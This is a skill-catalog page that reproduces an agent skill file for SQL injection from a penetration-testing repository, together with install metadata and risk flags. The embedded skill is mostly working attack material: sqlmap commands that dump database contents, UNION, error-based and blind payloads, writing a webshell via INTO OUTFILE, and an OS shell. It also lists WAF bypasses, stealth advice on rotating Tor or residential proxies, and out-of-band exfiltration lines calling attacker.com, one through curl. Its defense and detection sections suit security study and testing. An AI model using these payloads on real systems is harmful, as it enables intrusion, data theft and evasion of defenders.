brucesongs/kali-claw/skills/web-sqli/SKILL.md
web-sqli
SQL injection attacks and defense - covering all major SQLi types including error-based, union-based, blind (boolean/time), double query (error-based), stacked queries, and out-of-band injection.
- Source repository stars
- 67
- Declared platforms
- 2
- Static risk flags
- 2
- Last source update
- 2026-08-19
- Source checked
- 2026-08-28
Decision brief
What it does: where it fits
Supplementary Files: - payloads.md — Payload collection organized by 10 injection types (injection detection, UNION, Error, Blind, Double Query, WAF bypass, cross-database, file read/write) - test-cases.md — Structured test case templates (12 cases covering injection detection,…
Not for
- Tasks that require unconfirmed production actions or broad system permissions.
- Environments where the pinned source and install steps cannot be inspected.
Compatibility matrix
Platform support, with evidence labels
| Platform | Status | Evidence | What to check |
|---|---|---|---|
| Codex | Not declared | No explicit evidence | Portability before use |
| Claude Code | Declared | Source record | Install path and trigger |
| Cursor | Declared | Source record | Install path and trigger |
| Gemini CLI | Not declared | No explicit evidence | Portability before use |
Installation
Inspect first. Install second.
The source command is displayed only when detected. A safe inspection prompt is always available so your agent can explain every action before execution.
npx skills add https://github.com/brucesongs/kali-claw --skill "skills/web-sqli"Inspect the Agent Skill "web-sqli" from https://github.com/brucesongs/kali-claw/blob/a3205f5484ca8fec9fd809f3c16fe41fbc6ac87e/skills/web-sqli/SKILL.md at commit a3205f5484ca8fec9fd809f3c16fe41fbc6ac87e. List every install step, command, network request, credential, file read/write, external action, and rollback step. Explain whether it fits my task. Do not install or execute anything until I approve.
Workflow
What the source asks the agent to do
- 01
Step 1: sqlmap automated Detect
Review the “Step 1: sqlmap automated Detect” section in the pinned source before continuing.
Review and apply the “Step 1: sqlmap automated Detect” source section. - 02
Step 2: manual UNION injection(echoscenario)
Review the “Step 2: manual UNION injection(echoscenario)” section in the pinned source before continuing.
Review and apply the “Step 2: manual UNION injection(echoscenario)” source section. - 03
Step 3: Double Query injection(errorscenario - expertlevel)
Review the “Step 3: Double Query injection(errorscenario - expertlevel)” section in the pinned source before continuing.
Review and apply the “Step 3: Double Query injection(errorscenario - expertlevel)” source section. - 04
Step 4: Blind injection(noechoscenario)
Review the “Step 4: Blind injection(noechoscenario)” section in the pinned source before continuing.
Review and apply the “Step 4: Blind injection(noechoscenario)” source section. - 05
Step 5: Cross-database injection quick reference
Review the “Step 5: Cross-database injection quick reference” section in the pinned source before continuing.
Review and apply the “Step 5: Cross-database injection quick reference” source section.
Permission review
Static risk signals and limitations
Network access
The documentation includes network, browsing, or remote request actions.
sqlmap -u "http://target/page?id=1" --batch --threads=5Network access
The documentation includes network, browsing, or remote request actions.
sqlmap -u "http://target/page?id=1" --batch --dbsReads files
The documentation asks the agent to read local files, directories, or repositories.
**MySQL**: `INTO OUTFILE` for webshell upload; `LOAD DATA INFILE` for file read; `global.general_log` for query logging pivot.Evidence record
Why each signal appears
| Signal | Value | Evidence type | Meaning |
|---|---|---|---|
| Quality score | 96/100 | Computed | Documentation, specificity, maintenance, and trust rules |
| Repository stars | 67 | Source | Repository attention, not individual Skill quality |
| Compatibility | 2 platforms | Source | Declared in the catalog source record |
| Usage guide | automated source guide | Editorial | Generated or reviewed according to the visible evidence level |
Pinned source
Provenance and original SKILL.md
- Repository
- brucesongs/kali-claw
- Skill path
- skills/web-sqli/SKILL.md
- Commit
- a3205f5484ca8fec9fd809f3c16fe41fbc6ac87e
- License
- MIT
- Collected
- 2026-08-28
- Default branch
- main
View the original SKILL.md
Skill: SQL Injection
Supplementary Files:
payloads.md— Payload collection organized by 10 injection types (injection detection, UNION, Error, Blind, Double Query, WAF bypass, cross-database, file read/write)test-cases.md— Structured test case templates (12 cases covering injection detection, UNION, Error-based, Blind, advanced exploitation - 5 categories)sqli-double-query-guide.md— Double Query injection complete guide(extractvalue/updatexml/floor allcovering)sqli-cross-db-guide.md— MySQL/PostgreSQL/MSSQL/Oracle cross-database injection guide
Summary
Web Sqli skill domain covering web attack operations.
Tools: sqlmap, Burp Suite, curl, manual injection, browsetool DevTools
Domain: web-attack
OWASP: A03:2021-Injection
MITRE ATT&CK: T1190-Exploit Public-Facing App
Description
SQL injection attacks and defense - covering all major SQLi types including error-based, union-based, blind (boolean/time), double query (error-based), stacked queries, and out-of-band injection. This skill covers the complete attack chain from detection to exploitation, along with corresponding defense strategies。
Agent canpowerstatement: Completed all 65 levels of SQLi-Labs, achieved expert-level proficiency in Double Query injection, with batch automated testing tools。
Use Cases / Use Cases
- Web applicationpenetration testing - Detect and exploit SQL injection vulnerabilities in target application, extract sensitive database information
- CTF competition challenges - Quickly identify SQL injection challenge types (echo/blind/error/filter bypass), construct effective payloads
- security code audit - Review application database interaction code from defense perspective, identify unsafe query construction
- WAF bypassresearch - Construct encoding/transformation bypass payloads for scenarios filtering keywords, comment chars, spaces
- crossdatabaseinjection - Specific injection techniques for MySQL, PostgreSQL, MSSQL, Oracle database engines
Core Tools / Core Tools
| Tool | Purpose | Command Example |
|---|---|---|
| sqlmap | Automated SQL injection detection and exploitation | sqlmap -u "URL" --batch --dbs --threads=5 |
| Burp Suite | Intercept and modify HTTP requests, test POST/Header/Cookie injection | Repeater modulemanual debug payload |
| curl | quick GET injectiontesting | curl "http://target/page?id=1' order by 3-- -" |
| manual injection | understandprinciple basic technique | UNION / Error / Blind / Double Query |
| browsetool DevTools | Observe HTTP response differences, assist blind injection judgment | Network panelcapturepackageanalysis |
Methodology / Methodology
Attack Chain / Attack Chain
Detection → Fingerprinting → Exploitation → Data Extraction → Privilege Escalation
1. Detection (Detectinjection point)
- single quotetesting:
id=1'/id=1' -- -/id=1' and '1'='1 - numberValuetypetesting:
id=1 and 1=1/id=1 and 1=2 - judgeclosure method:
'/"/')/"))/ noclosure(entiretype)
2. Fingerprinting (fingerprinting)
- Determine column count:
' ORDER BY N-- -(increment N until error) - Identifydatabasetype:
@@version(MySQL) /version()(PostgreSQL) /@@servername(MSSQL) - confirminjection type: echo / error / blind injection / noecho
3. Exploitation (categorized exploitation)
- UNION injection:
' UNION SELECT 1,2,3-- -(echoscenario) - Error-based:
extractvalue()/updatexml()/floor()+rand()+group by - Boolean Blind:
' AND (SELECT LENGTH(database()))>5-- - - Time Blind:
' AND IF(1=1,SLEEP(3),0)-- - - Double Query:
' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- - - Stacked Queries:
; INSERT INTO users VALUES(...)-- -
4. Data Extraction (data extraction)
- Enumeratedatabase:
SELECT schema_name FROM information_schema.schemata - Enumeratetable:
SELECT table_name FROM information_schema.tables WHERE table_schema='TARGET_DB' - Enumeratecolumn:
SELECT column_name FROM information_schema.columns WHERE table_name='TARGET_TABLE' - Extractdata:
SELECT username,password FROM TARGET_TABLE
5. Privilege Escalation (privilege escalation)
- file read/write:
LOAD_FILE('/etc/passwd')/INTO OUTFILE '/var/www/html/shell.php' - operating system commands:
sqlmap --os-shell
Defense Perspective
| Defense Measure | Description | Priority |
|---|---|---|
| Parameterized Queries | Use prepared statements to fundamentally separate code from data | CRITICAL |
| ORM framework | use SQLAlchemy / Django ORM / Hibernate etc., avoid hand-written SQL | HIGH |
| Input Validation | Whitelist validate input type, length, format, reject illegal characters | HIGH |
| Least Privilege DB Accounts | Application uses least privilege database account, disable FILE/ADMIN permissions | HIGH |
| WAF (Web Application Firewall) | Deploy ModSecurity rules to block common injection patterns | MEDIUM |
| Error Handling | Disable detailed error messages in production, return generic error pages | MEDIUM |
| CSP & HttpOnly | Prevent data theft via XSS after injection | LOW |
Practical Steps / Practical Steps
See payloads.md for detailed payloads, and test-cases.md for complete test checklist。 Below is a summary of core operations at each stage。
Step 1: sqlmap automated Detect
# Basic detection (automatically identify injection type and technique)
sqlmap -u "http://target/page?id=1" --batch --threads=5
# Enumerate all databases
sqlmap -u "http://target/page?id=1" --batch --dbs
# Enumerate target database tables
sqlmap -u "http://target/page?id=1" --batch -D target_db --tables
# Enumerate columns and extract data
sqlmap -u "http://target/page?id=1" --batch -D target_db -T users --dump
# POST injection detection
sqlmap -u "http://target/login" --data="user=admin&pass=test" --batch
# Cookie injection detection
sqlmap -u "http://target/page" --cookie="session=abc123" --batch
# Specify injection technique (UNION only)
sqlmap -u "http://target/page?id=1" --technique=U --batch
# Specify injection technique (Double Query / Error-based)
sqlmap -u "http://target/page?id=1" --technique=E --batch
# Bypass WAF (tamper scripts)
sqlmap -u "http://target/page?id=1" --tamper=space2comment,between --batch
Step 2: manual UNION injection(echoscenario)
-- 1. Determine column count
' ORDER BY 3-- - -- 成功
' ORDER BY 4-- - -- 失败,说明共 3 列
-- 2. Determine echo position
' UNION SELECT 1,2,3-- -
-- 3. Extractdatabaseinformation(assumptionNo. 2、3 columnhasecho)
' UNION SELECT 1,database(),version()-- -
-- 4. Enumerate table names
' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- -
-- 5. Enumerate column names
' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'-- -
-- 6. Extractdata
' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users-- -
Step 3: Double Query injection(errorscenario - expertlevel)
-- extractvalue() method(MySQL 5.1.5+,mostlength 32 characters)
' AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))--+
-- errorecho: XPATH syntax error: '~security~'
-- updatexml() method(MySQL 5.1.5+,mostlength 32 characters)
' AND updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)--+
-- floor()+rand()+group by (classic method, no length limitation)
' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--+
-- Extracttablename(Double Query)
' AND extractvalue(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e))--+
-- Truncated reading for long data (exceeding 32 characters, use SUBSTRING)
' AND extractvalue(1,concat(0x7e,SUBSTRING((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),1,31),0x7e))--+
' AND extractvalue(1,concat(0x7e,SUBSTRING((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),32,31),0x7e))--+
Step 4: Blind injection(noechoscenario)
-- Boolean Blind: Judge based on page content differences
' AND (SELECT LENGTH(database()))>5-- - -- 页面正常 → 长度 > 5
' AND (SELECT LENGTH(database()))>10-- - -- 页面异常 → 长度 <= 10
' AND SUBSTRING((SELECT database()),1,1)='s'-- - -- 逐字符提取
-- Time Blind: Judge based on response time
' AND IF((SELECT LENGTH(database()))>5,SLEEP(3),0)-- -
' AND IF(SUBSTRING((SELECT database()),1,1)='s',SLEEP(3),0)-- -
Step 5: Cross-database injection quick reference
-- PostgreSQL Error-based injection
' AND 1=CAST((SELECT version()) AS int)--
-- MSSQL Error-based injection
' AND 1=CONVERT(int,(SELECT @@version))--
-- Oracle Error-based injection
' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT banner FROM v$version WHERE ROWNUM=1))--
Detection Methods
Modern SQLi detection combines WAF signatures, database audit logging, and behavioral anomaly analysis. Understanding these signals helps testers operate more stealthily and helps defenders prioritize monitoring.
Database-Level Indicators
- Query anomalies: Unexpected
UNION,--,/* */,;,xp_cmdshellin DB query logs. - Information schema access: Unusual queries against
information_schema.tables/information_schema.columns(MySQL),sys.tables(MSSQL),ALL_TABLES(Oracle). - Error message leakage: DB errors returned to client revealing version, table structure, or column names.
- Slow query outliers: Time-based blind injection produces queries taking 5-30s (vs. typical <100ms).
- Bulk SELECT patterns: Sudden spike in
SELECT * FROM users WHERE ...queries (credential extraction).
Application-Level Indicators
- Parameter length outliers: Query parameters exceeding typical length distributions (>200 chars).
- Encoding anomalies: URL-encoded characters in unusual positions (
%27,%20UNION,%2D%2D). - SQL keyword frequency: Statistical anomaly in
SELECT|UNION|AND|OR|FROM|WHEREin request parameters. - HTTP response size variance: Significant differences in response size between benign and malicious requests (UNION-based extraction).
SIEM / WAF Detection Rules
- ModSecurity CRS: Rules
942100-942999cover SQLi patterns (OWASP Core Rule Set, paranoia levels 1-4). - Cloudflare: Managed rule "Cloudflare SQLi" + machine learning augmentation.
- AWS WAF:
AWSManagedRulesSQLiRuleSetwith sensitivity tuning. - Imperva WAF: Signature-based + behavioral correlation engine.
- Splunk SPL:
index=waf "UNION" "SELECT" "FROM" http.request.uri | stats count by source.ip | where count > 5 - Database Audit Log: MySQL Enterprise Audit / Oracle Audit Vault / SQL Server Audit for query-level tracking.
Behavioral Detection
- Honeypot data: Plant fake rows (e.g., user
admin_honeypot) and alert when queried. - Canary tokens: Embed unique tokens in database fields; alert on exfiltration attempts.
- Anomaly ML: Train on normal query patterns; flag outliers (e.g., unsupervised isolation forest).
Defense Evasion Techniques
WAF Bypass
- Keyword splitting:
UN/**/ION SEL/**/ECT(inline comments split keywords). - Case variation:
UnIoN sElEcT,OrDeR By. - Encoding: URL-encoding (
%55nION), hex (0x55), char() (CHAR(85)). - Whitespace alternatives: Tab (
\t), newline (\n), form feed (\f) instead of spaces. - Equivalent functions:
MID()forSUBSTRING(),LIMITforTOP,CONCAT_WS()forCONCAT(). - No-quote strings:
0xHex(MySQL) orCHR(65)||CHR(66)(Oracle) to avoid quotes.
Filter Evasion
- Comment alternatives:
--,#,/* */,;%00(null byte),/**/(inline). - Quote alternatives:
\",\,\x27(hex escape). - Operator alternatives:
LIKEfor=,BETWEENforIN,NOT INfor<>. - Boolean blind:
AND 1=1vsAND 1=2response differential. - Time-based blind:
IF(condition, SLEEP(5), 0),WAITFOR DELAY '0:0:5'(MSSQL),dbms_pipe.receive_message(('a'),5)(Oracle).
Database-Specific Tricks
- MySQL:
INTO OUTFILEfor webshell upload;LOAD DATA INFILEfor file read;global.general_logfor query logging pivot. - PostgreSQL:
COPY (SELECT ...) TO '/tmp/x'for file write;lo_import/lo_exportfor large object file ops. - MSSQL:
xp_cmdshellfor OS command execution;OPENROWSETfor OLEDB pivot;sp_oacreatefor COM object abuse. - Oracle:
DBMS_JAVA.RUNJAVAfor Java execution;UTL_HTTPfor outbound requests;DBMS_LDAPfor LDAP queries.
Stealth Techniques
- Slow extraction: Sleep 2-3s between requests to avoid rate-based detection.
- Distributed source: Rotate through residential proxies / Tor circuits to avoid IP-based blocking.
- Off-peak timing: Run extraction during low-traffic hours to blend with maintenance queries.
- Result caching: Cache extracted bytes locally; minimize repeated queries for same data.
- Differential response analysis: Compare full response byte-by-byte rather than relying on error messages.
Out-of-Band (OOB) Exfiltration
- DNS exfil (MySQL):
SELECT LOAD_FILE(CONCAT('\\\\\\\\',(SELECT version()),'.attacker.com\\\\x')). - DNS exfil (MSSQL):
EXEC master..xp_dirtree '\\\\'+CONVERT(varchar, @@version)+'.attacker.com\\x'. - HTTP exfil (Oracle):
UTL_HTTP.REQUEST('http://'||user||'.attacker.com/'). - DNS exfil (PostgreSQL):
COPY (SELECT ...) TO PROGRAM 'curl http://attacker.com/?data=$(base64 data)'.
Hacker Laws / Hacker Laws
-
Trust but Verify (Trust but Verify) - Never trust user input. Any data from the client can be tampered with, including URL parameters, POST body, HTTP Header, Cookie. All input must be strictly validated and parameterized on the server side。
-
First Principles (First Principles) - The root cause of SQL injection is mixing code with data. Understand SQL engine parsing: single quotes close strings, comment chars truncate statements, UNION merges result sets. Master the underlying principles and any filter bypass is just a transformation problem。
-
Divergent Thinking (Divergent Thinking) - When one injection path is blocked, there are always alternative paths。UNION filtered -> try Error-based; no echo -> switch to Blind; keywords blocked -> encoding/case/comments/equivalent function replacement。Success belongs to those who find the most alternative paths。
-
Economy of Mechanism (Economy of Mechanism) - Simpler defense is more secure. Parameterized queries are the simplest and most effective defense. Complex input filtering and blacklists actually introduce more attack surface。
Learning Resources / Learning Resources
Skill supplementary files:
payloads.md— Complete payload collection (10 injection types, ready to copy and use)test-cases.md— Structured test cases (12 case templates, with prerequisites and expected results)sqli-double-query-guide.md— Double Query injection complete guidesqli-cross-db-guide.md— Cross-database injection guide
Extended Learning Materials (guides/):
guides/ctf_sqli_practice_guide.md- CTF SQL injection challenge type classification and solving methodsguides/portswigger_sqli_labs.md- PortSwigger Academy SQL injection lab progressguides/real_world_sqli_case_studies.md- Real-world CVE SQL injection case studiesguides/double_query_study_findings.md- Double Query Practical findings and environment limitation analysis
Related Skills:
skills/web-auth-bypass/SKILL.md— Authentication bypass (SQLi can extract credentials to assist auth attacks)skills/web-access-control/SKILL.md— Access control (SQLi can extract user IDs to assist privilege escalation testing)
External Resources:
Frequently asked questions
What to verify before installation and use
What does the web-sqli source document cover?
Supplementary Files: - payloads.md — Payload collection organized by 10 injection types (injection detection, UNION, Error, Blind, Double Query, WAF bypass, cross-database, file read/write) - test-cases.md — Structured test case templates (12 cases covering injection detection,…
How do I install web-sqli?
The source record exposes this install command: npx skills add https://github.com/brucesongs/kali-claw --skill "skills/web-sqli". Inspect the command and pinned source before running it.
Which Agent platforms does the source record declare?
The pinned source record declares support for: claude code, cursor.
Which permission-related actions were detected?
Static rules flagged network, read-files in the source; the page lists the matching lines and excerpts.
Alternatives
Compare before choosing
upex-galaxy/agentic-qa-boilerplate
acli
Atlassian CLI (official `acli` binary, v1.3+ as of 2026) for Jira Cloud, Confluence Cloud, and org admin tasks from the terminal. Use whenever the user wants to create, view, edit, transition, assign, clone, archive, comment on, link, or bulk-operate on Jira work items; list or manage projects, boards, sprints, filters, dashboards, or custom-field definitions; create or update Confluence spaces, pages, or blog posts; activate/deactivate users at the org level; or authenticate to Atlassian from a
PramodDutta/qaskills
Resume Version Manager
Track different resume versions, maintain master resume, manage tailored versions
brucesongs/kali-claw
database-attack
Direct attacks against database servers at the protocol level — distinct from web-based SQL injection (covered by web-sqli). This skill targets database listeners, authentication mechanisms, stored procedures, and protocol-level misconfigurations.
brucesongs/kali-claw
command-injection-advanced
Advanced injection attacks beyond SQL - covering OS command injection, LDAP injection, NoSQL injection, template injection (SSTI), XPath injection, and comprehensive filter bypass techniques.